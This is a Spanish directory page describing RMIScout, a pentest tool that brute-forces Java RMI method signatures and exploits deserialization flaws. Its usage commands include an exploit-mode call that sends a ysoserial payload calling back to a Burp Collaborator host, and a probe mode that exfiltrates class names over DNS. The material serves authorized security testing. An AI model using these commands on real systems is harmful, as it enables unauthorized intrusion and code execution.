Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
rmiscout — RMIScout utiliza estrategias de wordlist y fuerza bruta para enumerar funciones Java RMI y explotar vulnerabilidades de deserialización de parámetros RMI. | Kitploit
Herramientas/GitHubGitHub/bishopfox/rmiscout
Escáneres de VulnerabilidadesExplotaciónRecopilación de InformaciónFuzzingPruebas de Penetración
GitHubbishopfox/rmiscout

rmiscout

RMIScout utiliza estrategias de wordlist y fuerza bruta para enumerar funciones Java RMI y explotar vulnerabilidades de deserialización de parámetros RMI.

Ver Repositorio
44862hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

License Python version

Descripción

RMIScout permite ataques de lista de palabras y fuerza bruta contra interfaces Java RMI expuestas para adivinar de forma segura firmas de métodos sin invocación. Soporta múltiples protocolos Java RMI, invocación de métodos y explotación.

Resumen de características

  • Soporta múltiples tipos de servidores Java RMI:
    • RMI-JRMP (también conocido como RMI simple; normalmente puerto 1099): Servicio de registro de objetos remotos (rmiregistry)
    • Stubs de Activación RMI mediante rmid
    • RMI-IIOP: Modelo de programación Java CORBA (orbd; normalmente puerto 1050)
      • IIOP requiere JRE 1.8 para su uso. Debido a la desaprobación en entornos de ejecución posteriores.
    • RMI-SSL
  • Múltiples modos de operación
    • modo de lista de palabras: Prueba métodos remotos usando una lista de palabras de firmas (ver lists/prototypes.txt incluido)
    • modo de fuerza bruta: Dada una lista de palabras de nombres de métodos, genera firmas con varios tipos de parámetros, número de parámetros y tipos de retorno.
    • modo de explotación: Usa ysoserial para explotar métodos remotos con parámetros no primitivos.
      • Requiere que rmiscout se ejecute con JRE 1.8 para que ysoserial funcione correctamente.
    • modo de sonda: Usa GadgetProbe para identificar clases en el classpath remoto
    • modo de invocación: Invoca directamente métodos remotos especificando una firma de método y valores de parámetros desde la línea de comandos (solo primitivos, arreglos y Strings).
    • modo de lista: Lista los registros disponibles en el servidor remoto.
  • Cambia automáticamente entre RMI, RMI-SSL, stubs de Activación.
  • Realiza automáticamente técnicas de bypass de localhost (por ejemplo, registros vinculados a @127.0.0.1:XXXX, pero aún expuestos externamente mediante XXXX)

Cómo funciona

Para identificar pero no ejecutar funciones RMI, RMIScout utiliza funciones de red RMI de bajo nivel y generación dinámica de clases para enviar invocaciones RMI con tipos deliberadamente no coincidentes para provocar excepciones remotas. Todos los parámetros se sustituyen por una clase serializable generada dinámicamente con un nombre de 255 caracteres que se supone no existe en el classpath remoto. Por ejemplo:

Interfaz Remota:

root@kitploit:~
void login(String user, String password)

RMIScout invocará:

root@kitploit:~
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

Si la clase está presente, esto resultará en una java.rmi.UnmarshalException remota causada por la ClassNotFoundException o un error de deserialización de argumentos sin invocar el método subyacente.

Para artículos técnicos más detallados:

  • (Artículo original) RMIScout: Fuerza bruta segura y rápida de interfaces Java RMI para ejecución de código.
  • (Actualización de RMIScout) Lecciones aprendidas al hacer fuerza bruta en RMI-IIOP con RMIScout

Modos de operación

Modo de lista de palabras

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Proporcione una lista de palabras de prototipos de métodos para verificar en el servidor remoto. RMIScout mostrará todas las coincidencias identificadas.

Para RMI-IIOP/CORBA: A menos que los métodos estén sobrecargados, la fuerza bruta y la invocación solo requieren que los nombres coincidan (toda la demás información se ignora).

Modo de fuerza bruta

root@kitploit:~
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

Proporcione una lista de palabras de nombres de métodos candidatos, luego proporcione una lista delimitada por comas de tipos de retorno candidatos, rango de número de parámetros y tipos de parámetros candidatos. El modo de fuerza bruta generará las permutaciones y buscará firmas coincidentes.

Modo de explotación

root@kitploit:~
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

En servidores mal configurados, cualquier firma RMI conocida que use tipos no primitivos (por ejemplo, java.util.List), puede ser explotada reemplazando el objeto con un payload serializado. Esta es una mala configuración bastante común (por ejemplo, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) como se destaca en la charla de An Trinh en Blackhat EU 2019.

RMIScout se integra con ysoserial para realizar ataques de deserialización contra servicios que configuran incorrectamente filtros de serialización a nivel de proceso (JEP 290).

Ejemplos de firmas explotables:

root@kitploit:~
void exampleMethod(java.util.Map a) // Cualquier tipo no primitivo
void exampleMethod(float[] a) // Cualquier tipo de arreglo, incluso primitivos
void exampleMethod(String a) // Funciona en JDK antiguos, ver más abajo...

Nota: Las firmas que contienen tipos java.lang.String solo son explotables en versiones de JRE 8/11/13/14 anteriores a principios de 2020 en RMI-JRMP, pero aún son explotables actualmente en RMI-IIOP.

Modo de invocación

root@kitploit:~
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout te permite invocar cualquier firma con primitivos, arreglos primitivos o Strings. Los tipos más avanzados requerirán escribir un cliente personalizado.

Modo de sonda

root@kitploit:~
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout se integra con GadgetProbe para identificar clases en el classpath remoto. Los nombres de las clases se exfiltran mediante DNS.

Construcción y Ejecución

Usa el script rmiscout.sh incluido para construir automáticamente el proyecto y como un envoltorio conveniente alrededor de la sintaxis java -jar:

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Alternativamente, construye el proyecto manualmente y usa la sintaxis tradicional java -jar:

root@kitploit:~
# Construir JAR manualmente
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Nota: RMI-IIOP (compilación/ejecución) y ysoserial (ejecución) dependen de JDK8.

Pruébalo

Ejecuta el servidor RMI de demostración dockerizado. Prueba el demo/wordlist.txt incluido.

root@kitploit:~
cd demo
./start_demo.sh

Solución de problemas

P: ¿Cómo puedo saber si <host>:<port> es un Registro RMI?

Usa ./rmiscout list <host> <port> para obtener información sobre los registros en un servidor remoto.

root@kitploit:~
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]

O, usa el script rmi-dumpregistry de nmap:

root@kitploit:~
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   ActivationServer
|     com.bishopfox.example.ActivationImpl_Stub
|     \x00\x0EActivatableRef
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   plaintest
|      implements com.bishopfox.example.HelloInterface,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:1111
|             extends
|_              java.rmi.server.RemoteObject

P: Encontré un registro en el puerto 1098 con el nombre java.rmi.activation.ActivationSystem. ¿Qué puedo hacer con él?

Este es un Daemon del Sistema de Activación rmid. Todos sus métodos están restringidos por el SecurityManager. Las JRE más recientes verifican si el par remoto se origina desde localhost antes de deserializar cualquier dato remoto. Las versiones antiguas (anteriores a 2011) no tenían esta verificación y pueden ser vulnerables. Ver https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

P: ¿Puedo ejecutar RMIScout con un runtime más reciente que JRE 8?

R: Técnicamente sí, pero varias características dejarán de funcionar. El soporte CORBA, el soporte de sonda y ysoserial (modo de explotación) exigen una dependencia de JRE 8.

P: ¿Por qué obtengo una CannotCompileException?

R: Se produce una CannotCompileException cuando se proporciona un nombre de método o prototipo inválido directamente o a través de una lista de palabras. RMIScout genera bytecode para firmas candidatas proporcionadas por el usuario en tiempo de ejecución. Aunque RMIScout tiene reglas básicas para corregir errores de sintaxis comunes en prototipos proporcionados por el usuario, a veces falla.

Autor

Twitter: @BumbleSec

GitHub: the-bumble

Descargar herramienta